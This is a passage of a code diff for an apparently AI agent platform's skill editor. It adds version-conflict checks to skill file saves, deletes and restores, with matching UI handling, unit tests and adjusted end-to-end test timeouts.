skills.makeImportedSkillEditable(candidate, context.actor, folderId, tx); + await remove(tx, skillIds.length, 0); + return { id, copiedCount: skillIds.length, deletedCount: 0 }; + }); } + async function importFromUrl(companyId: string, input: string, context: SkillSourceContext) { const parsed = parseSkillImportSourceInput(input); const url = new URL(parsed.resolvedSource); diff --git a/server/src/services/skill-version-cache.ts b/server/src/services/skill-version-cache.ts index e81e253314d..ccb232eb100 100644 --- a/server/src/services/skill-version-cache.ts +++ b/server/src/services/skill-version-cache.ts @@ -144,9 +144,7 @@ export async function protectedVersions(db: Db, companyId: string): Promise<{ ve || input.binding.runId !== id || input.binding.agentId !== agentId || input.binding.issueId !== nativeIssueId) return unknown(); for (const skill of input.runtimeContext.skills) { - // Unversioned skills have their own captured asset bundle; they do - // not reference a directory under __versions__. - if (skill.versionId === null) continue; + if (skill.versionId === null) return unknown(); if (!uuid.test(skill.versionId)) return unknown(); add(skill.versionId); } diff --git a/tests/e2e/agent-chat-projects.spec.ts b/tests/e2e/agent-chat-projects.spec.ts index a631d3ea928..994df38746c 100644 --- a/tests/e2e/agent-chat-projects.spec.ts +++ b/tests/e2e/agent-chat-projects.spec.ts @@ -500,6 +500,7 @@ test("shared questions resume and existing project reuse creates no project card ); await page.goto(f.route); await send(page, { action: "question" }); + await idle(request, f.chatPath); await expect( page.getByRole("radio", { name: "Garden club", exact: true }).last(), ).toBeVisible(); @@ -610,7 +611,7 @@ test("disabling the experiment lets an active turn settle and keeps idle history await send(page, { action: "delayed" }); await expect( page.getByText("Turn started before feature disable.", { exact: true }), - ).toBeVisible(); + ).toBeVisible({ timeout: 30_000 }); const chat = await json(await request.get(f.chatPath)); await json( await request.patch("/api/instance/settings/experimental", { diff --git a/tests/e2e/agent-chat-sessions.spec.ts b/tests/e2e/agent-chat-sessions.spec.ts index 722fc3c3bd9..76b888839fa 100644 --- a/tests/e2e/agent-chat-sessions.spec.ts +++ b/tests/e2e/agent-chat-sessions.spec.ts @@ -180,7 +180,7 @@ test("Stop then queued /new resets unpause the conversation without losing histo (c: any) => c.body === "Provider is streaming and ready to stop.", ) ); - }) + }, { timeout: 30_000 }) .toBe(true); const issue = await json(await request.get(f.chatPath)); const active = ( diff --git a/tests/runner-e2e/plan-task-skills.ts b/tests/runner-e2e/plan-task-skills.ts index 2f33bf6f349..cb8638d94da 100644 --- a/tests/runner-e2e/plan-task-skills.ts +++ b/tests/runner-e2e/plan-task-skills.ts @@ -21,7 +21,7 @@ export async function preparePlanSkills(api: SkillApi, companyId: string, varian const created = await api.post<{ id: string; key: string; sourceType: string }>(`${company}/skills`, { name, slug: `eval-${name}`, markdown: content, sharingScope: "company", }); - if (created.sourceType !== "local_path") throw new Error("Planning fixture did not create an editable company skill"); + if (created.sourceType !== "managed") throw new Error("Planning fixture did not create an editable company skill"); const served = await api.get<{ content: string; editable: boolean }>(`${company}/skills/${created.id}/files?path=SKILL.md`); if (!served.editable || planHash(served.content) !== planHash(content)) throw new Error(`Served skill differs from editable source ${relative}`); skills.push({ originalKey: skill.key, key: created.key, id: created.id, sourcePath: relative, diff --git a/ui/src/api/companySkills.ts b/ui/src/api/companySkills.ts index 9b671d57038..1dce6f3e95b 100644 --- a/ui/src/api/companySkills.ts +++ b/ui/src/api/companySkills.ts @@ -193,7 +193,7 @@ export const companySkillsApi = { api.get( `/companies/${encodeURIComponent(companyId)}/skills/${encodeURIComponent(skillId)}/files?path=${encodeURIComponent(relativePath)}`, ), - updateFile: (companyId: string, skillId: string, path: string, content: string, format: Pick = {}) => + updateFile: (companyId: string, skillId: string, path: string, content: string, format: Pick & { expectedVersionId?: string | null } = {}) => api.patch( `/companies/${encodeURIComponent(companyId)}/skills/${encodeURIComponent(skillId)}/files`, { path, content, ...format }, diff --git a/ui/src/lib/skill-fork.ts b/ui/src/lib/skill-fork.ts index 4f2adb214bf..aad5e11feb4 100644 --- a/ui/src/lib/skill-fork.ts +++ b/ui/src/lib/skill-fork.ts @@ -26,6 +26,8 @@ export function shortSha(ref: string | null | undefined): string | null { function sourceTypeFallbackLabel(sourceType: CompanySkillSourceType): string { switch (sourceType) { + case "managed": + return "Paperclip"; case "github": return "GitHub"; case "skills_sh": diff --git a/ui/src/pages/SkillStudio.test.tsx b/ui/src/pages/SkillStudio.test.tsx index cd1fa4ae6a4..20bf539727f 100644 --- a/ui/src/pages/SkillStudio.test.tsx +++ b/ui/src/pages/SkillStudio.test.tsx @@ -11,6 +11,7 @@ import type { } from "@paperclipai/shared"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { SkillStudio } from "./SkillStudio"; +import { ApiError } from "@/api/client"; const routeState = vi.hoisted(() => ({ pathname: "/skills/studio/new", @@ -274,6 +275,7 @@ beforeEach(() => { forkedFromSkillId: null, }); mockCompanySkillsApi.file.mockResolvedValue({ + versionId: "read-version", path: "SKILL.md", content: "---\nname: Demo Skill\ndescription: Existing\n---\n\n# Demo Skill\n", markdown: true, @@ -568,6 +570,39 @@ describe("SkillStudio editor frontmatter", () => { routeState.skillId = "source-skill"; }); + it.each(["local_path", "managed"] as const)("restores %s history through its supported authoring path", async (sourceType) => { + mockCompanySkillsApi.detail.mockResolvedValue(makeSkill({ sourceType, currentVersionId: "head-version" })); + mockCompanySkillsApi.versions.mockResolvedValue([{ id: "old-version", revisionNumber: 1, createdAt: new Date() }]); + mockCompanySkillsApi.version.mockResolvedValue({ revisionNumber: 1, fileInventory: [ + { path: "SKILL.md", content: "# Restored" }, { path: "support.txt", content: "support" }, + ] }); + if (sourceType === "local_path") { + mockCompanySkillsApi.updateFile.mockResolvedValueOnce({ versionId: "first-save" }).mockResolvedValueOnce({ versionId: "second-save" }); + } + const node = await renderStudio(); + await waitFor(() => expect(buttonsNamed(node, "Version history")[0]).toBeTruthy()); + await click(buttonsNamed(node, "Version history")[0]!); + await waitFor(() => expect(buttonsNamed(document, "Restore as v2")[0]).toBeTruthy()); + await click(buttonsNamed(document, "Restore as v2")[0]!); + await waitFor(() => expect(mockCompanySkillsApi.createVersion).toHaveBeenCalled()); + if (sourceType === "managed") { + expect(mockCompanySkillsApi.updateFile).not.toHaveBeenCalled(); + expect(mockCompanySkillsApi.createVersion).toHaveBeenCalledWith("company-1", "source-skill", { + sourceVersionId: "old-version", expectedVersionId: "head-version", label: "Restored saved version", + }); + } else { + expect(mockCompanySkillsApi.updateFile).toHaveBeenNthCalledWith(1, "company-1", "source-skill", "SKILL.md", "# Restored", { + executable: false, expectedVersionId: "head-version", + }); + expect(mockCompanySkillsApi.updateFile).toHaveBeenNthCalledWith(2, "company-1", "source-skill", "support.txt", "support", { + executable: false, expectedVersionId: "first-save", + }); + expect(mockCompanySkillsApi.createVersion).toHaveBeenCalledWith("company-1", "source-skill", { + label: "Restore of v1", expectedVersionId: "second-save", + }); + } + }); + it("does not show the frontmatter section when the selected markdown file has no frontmatter", async () => { mockCompanySkillsApi.file.mockResolvedValueOnce({ path: "SKILL.md", @@ -641,6 +676,7 @@ describe("SkillStudio editor frontmatter", () => { "source-skill", "SKILL.md", expect.stringContaining("Edited body"), + { expectedVersionId: "read-version" }, ); }); expect(mockCompanySkillsApi.updateFile).toHaveBeenCalledWith( @@ -648,9 +684,61 @@ describe("SkillStudio editor frontmatter", () => { "source-skill", "SKILL.md", expect.stringContaining("---\nname: Demo Skill"), + { expectedVersionId: "read-version" }, ); }); + it("keeps unsaved text on a version conflict and reloads only after confirmation", async () => { + mockCompanySkillsApi.updateFile.mockRejectedValueOnce(new ApiError("Skill version changed", 409, {})); + const node = await renderStudio(); + let editor: HTMLTextAreaElement; + await waitFor(() => { + editor = Array.from(node.querySelectorAll('[data-testid="markdown-editor"]')) + .find(candidate => candidate.value.includes("# Demo Skill"))!; + expect(editor).toBeTruthy(); + }); + await keyDown(editor!, "E"); + await click(buttonsNamed(node, "Save").find(button => !button.disabled)!); + await waitFor(() => expect(node.textContent).toContain("This skill changed since you opened it")); + expect(editor!.value).toContain("Edited body"); + mockCompanySkillsApi.file.mockResolvedValue({ path: "SKILL.md", content: "# New saved version", versionId: "new-version", markdown: true, editable: true }); + const confirm = vi.spyOn(window, "confirm").mockReturnValueOnce(false).mockReturnValueOnce(true); + await click(buttonsNamed(node, "Load latest saved file")[0]!); + expect(editor!.value).toContain("Edited body"); + await click(buttonsNamed(node, "Load latest saved file")[0]!); + await waitFor(() => expect(node.textContent).not.toContain("This skill changed since you opened it")); + expect(Array.from(node.querySelectorAll('[data-testid="markdown-editor"]')).some(candidate => candidate.value.includes("# New saved version"))).toBe(true); + confirm.mockRestore(); + }); + + it("preserves text typed while a confirmed latest-file reload is pending", async () => { + mockCompanySkillsApi.updateFile.mockRejectedValueOnce(new ApiError("Skill version changed", 409, {})); + const node = await renderStudio(); + let editor: HTMLTextAreaElement; + await waitFor(() => { + editor = Array.from(node.querySelectorAll('[data-testid="markdown-editor"]')) + .find(candidate => candidate.value.includes("# Demo Skill"))!; + expect(editor).toBeTruthy(); + }); + await keyDown(editor!, "E"); + await click(buttonsNamed(node, "Save").find(button => !button.disabled)!); + await waitFor(() => expect(node.textContent).toContain("This skill changed since you opened it")); + const latest = { path: "SKILL.md", content: "# New saved version", versionId: "new-version", markdown: true, editable: true }; + let resolveReload!: (value: typeof latest) => void; + mockCompanySkillsApi.file.mockImplementationOnce(() => new Promise(resolve => { resolveReload = resolve; })); + const confirm = vi.spyOn(window, "confirm").mockReturnValue(true); + await click(buttonsNamed(node, "Load latest saved file")[0]!); + await waitFor(() => expect(resolveReload).toBeTypeOf("function")); + await keyDown(editor!, "E"); + const editedDuringReload = editor!.value; + resolveReload(latest); + await waitFor(() => expect(buttonsNamed(node, "Load latest saved file")[0]!.disabled).toBe(false)); + expect(editor!.value).toBe(editedDuringReload); + expect(node.textContent).toContain("Unsaved"); + expect(node.textContent).toContain("This skill changed since you opened it"); + confirm.mockRestore(); + }); + it("offers a 'Make a copy' CTA on the read-only banner (PAP-13112)", async () => { mockCompanySkillsApi.detail.mockResolvedValueOnce(makeSkill({ editable: false, diff --git a/ui/src/pages/SkillStudio.tsx b/ui/src/pages/SkillStudio.tsx index d7e2349a7d4..9dc170dd6bc 100644 --- a/ui/src/pages/SkillStudio.tsx +++ b/ui/src/pages/SkillStudio.tsx @@ -56,6 +56,7 @@ import { useOptionalToastActions } from "../context/ToastContext"; import { classifySkillDenial } from "@/lib/skill-policy-denial"; import { agentsApi } from "@/api/agents"; import { companySkillsApi } from "@/api/companySkills"; +import { ApiError } from "@/api/client"; import { issuesApi } from "@/api/issues"; import { queryKeys } from "@/lib/queryKeys"; import { copyTextToClipboard } from "@/lib/clipboard"; @@ -1304,6 +1305,7 @@ function SkillPane({ const [expandedDirs, setExpandedDirs] = useState>(new Set()); const [draft, setDraft] = useState(""); const [savedContent, setSavedContent] = useState(""); + const [versionConflict, setVersionConflict] = useState(false); const [createDialog, setCreateDialog] = useState<"file" | "folder" | null>(null); const [deleteFolderOpen, setDeleteFolderOpen] = useState(false); // Gate rich-editor onChange until the user actually interacts with the body. @@ -1319,6 +1321,10 @@ function SkillPane({ [paths], ); + const [baseVersionId, setBaseVersionId] = useState(); + const draftFileRef = useRef(null); + const currentDraftRef = useRef({ skillId, selectedFile, draft }); + currentDraftRef.current = { skillId, selectedFile, draft }; const fileQuery = useQuery({ queryKey: queryKeys.companySkills.file(companyId, skillId, selectedFile), queryFn: () => companySkillsApi.file(companyId, skillId, selectedFile), @@ -1327,6 +1333,10 @@ function SkillPane({ useEffect(() => { if (fileQuery.data) { + if (draftFileRef.current === selectedFile && draft !== savedContent) return; + draftFileRef.current = selectedFile; + setBaseVersionId(fileQuery.data.versionId); + setVersionConflict(false); bodyInteractedRef.current = false; setDraft(fileQuery.data.content); setSavedContent(fileQuery.data.content); @@ -1354,9 +1364,15 @@ function SkillPane({ }, [dirty, selectedFile]); const saveMutation = useMutation({ - mutationFn: () => companySkillsApi.updateFile(companyId, skillId, selectedFile, draft), + mutationFn: ({ path, content, versionId }: { path: string; content: string; versionId: string | null | undefined }) => + companySkillsApi.updateFile(companyId, skillId, path, content, { expectedVersionId: versionId }), onSuccess: (updated) => { - setSavedContent(updated.content); + queryClient.setQueryData(queryKeys.companySkills.file(companyId, skillId, updated.path), updated); + if (draftFileRef.current === updated.path) { + setBaseVersionId(updated.versionId); + setSavedContent(updated.content); + setVersionConflict(false); + } queryClient.invalidateQueries({ queryKey: queryKeys.companySkills.detail(companyId, skillId), }); @@ -1367,13 +1383,33 @@ function SkillPane({ queryKey: queryKeys.companySkills.versions(companyId, skillId), }); }, - onError: onError("Couldn't save file"), + onError: (error) => { + if (error instanceof ApiError && error.status === 409) setVersionConflict(true); + onError("Couldn't save file")(error); + }, }); + async function loadLatestSavedFile() { + if (dirty && !window.confirm("Discard unsaved edits and load the latest saved file?")) return; + const result = await fileQuery.refetch(); + if (result.error) { onError("Couldn't load latest file")(result.error); return; } + if (!result.data) return; + // Discard confirmation covers only the draft that started this request. + const current = currentDraftRef.current; + if (current.skillId !== skillId || current.selectedFile !== selectedFile || current.draft !== draft) return; + draftFileRef.current = selectedFile; + setDraft(result.data.content); + setSavedContent(result.data.content); + setBaseVersionId(result.data.versionId); + setVersionConflict(false); + } + const createMutation = useMutation({ mutationFn: ({ path, content }: { path: string; content: string }) => - companySkillsApi.updateFile(companyId, skillId, path, content), + companySkillsApi.updateFile(companyId, skillId, path, content, { expectedVersionId: baseVersionId ?? skill.currentVersionId }), onSuccess: (created) => { + setBaseVersionId(created.versionId); + queryClient.setQueryData(queryKeys.companySkills.file(companyId, skillId, created.path), created); setSelectedFile(created.path); setDraft(created.content); setSavedContent(created.content); @@ -1393,8 +1429,10 @@ function SkillPane({ const deleteMutation = useMutation({ mutationFn: (input: { path: string; target: "file" | "folder" }) => - companySkillsApi.deleteFile(companyId, skillId, input), + companySkillsApi.deleteFile(companyId, skillId, { ...input, expectedVersionId: baseVersionId ?? skill.currentVersionId }), onSuccess: (result) => { + setBaseVersionId(result.versionId); + queryClient.invalidateQueries({ queryKey: queryKeys.companySkills.file(companyId, skillId, selectedFile) }); const deleted = new Set(result.deletedPaths); const remaining = paths.filter((path) => !deleted.has(path)); setSelectedFile(remaining.find((path) => /skill\.md$/i.test(path)) ?? remaining[0] ?? "SKILL.md"); @@ -1472,6 +1510,14 @@ function SkillPane({ } >
+ {versionConflict ? ( +
+ This skill changed since you opened it. Your unsaved edits are still here. Copy them before loading the latest file to reconcile the changes. + +
+ ) : null} {dirty && !readOnly ? (
@@ -1531,7 +1577,7 @@ function SkillPane({ @@ -3463,14 +3509,22 @@ function VersionHistorySheet({ const restore = useMutation({ mutationFn: async (selection: { id: string }) => { - const version = await companySkillsApi.version(companyId, skillId, selection.id); - // Restore = write each file from the chosen version back, then cut a new - // head version (immutability: never rewrites history). - for (const file of version.fileInventory) { - await companySkillsApi.updateFile(companyId, skillId, file.path, file.content, { encoding: file.encoding, executable: file.executable ?? false }); + if (skill.sourceType === "local_path") { + const version = await companySkillsApi.version(companyId, skillId, selection.id); + let expectedVersionId = skill.currentVersionId; + for (const file of version.fileInventory) { + const saved = await companySkillsApi.updateFile(companyId, skillId, file.path, file.content, { + encoding: file.encoding, executable: file.executable ?? false, expectedVersionId, + }); + expectedVersionId = saved.versionId ?? expectedVersionId; + } + return companySkillsApi.createVersion(companyId, skillId, { + label: `Restore of v${version.revisionNumber}`, expectedVersionId, + }); } return companySkillsApi.createVersion(companyId, skillId, { - label: `Restore of v${version.revisionNumber}`, + sourceVersionId: selection.id, expectedVersionId: skill.currentVersionId, + label: "Restored saved version", }); }, onSuccess: () => {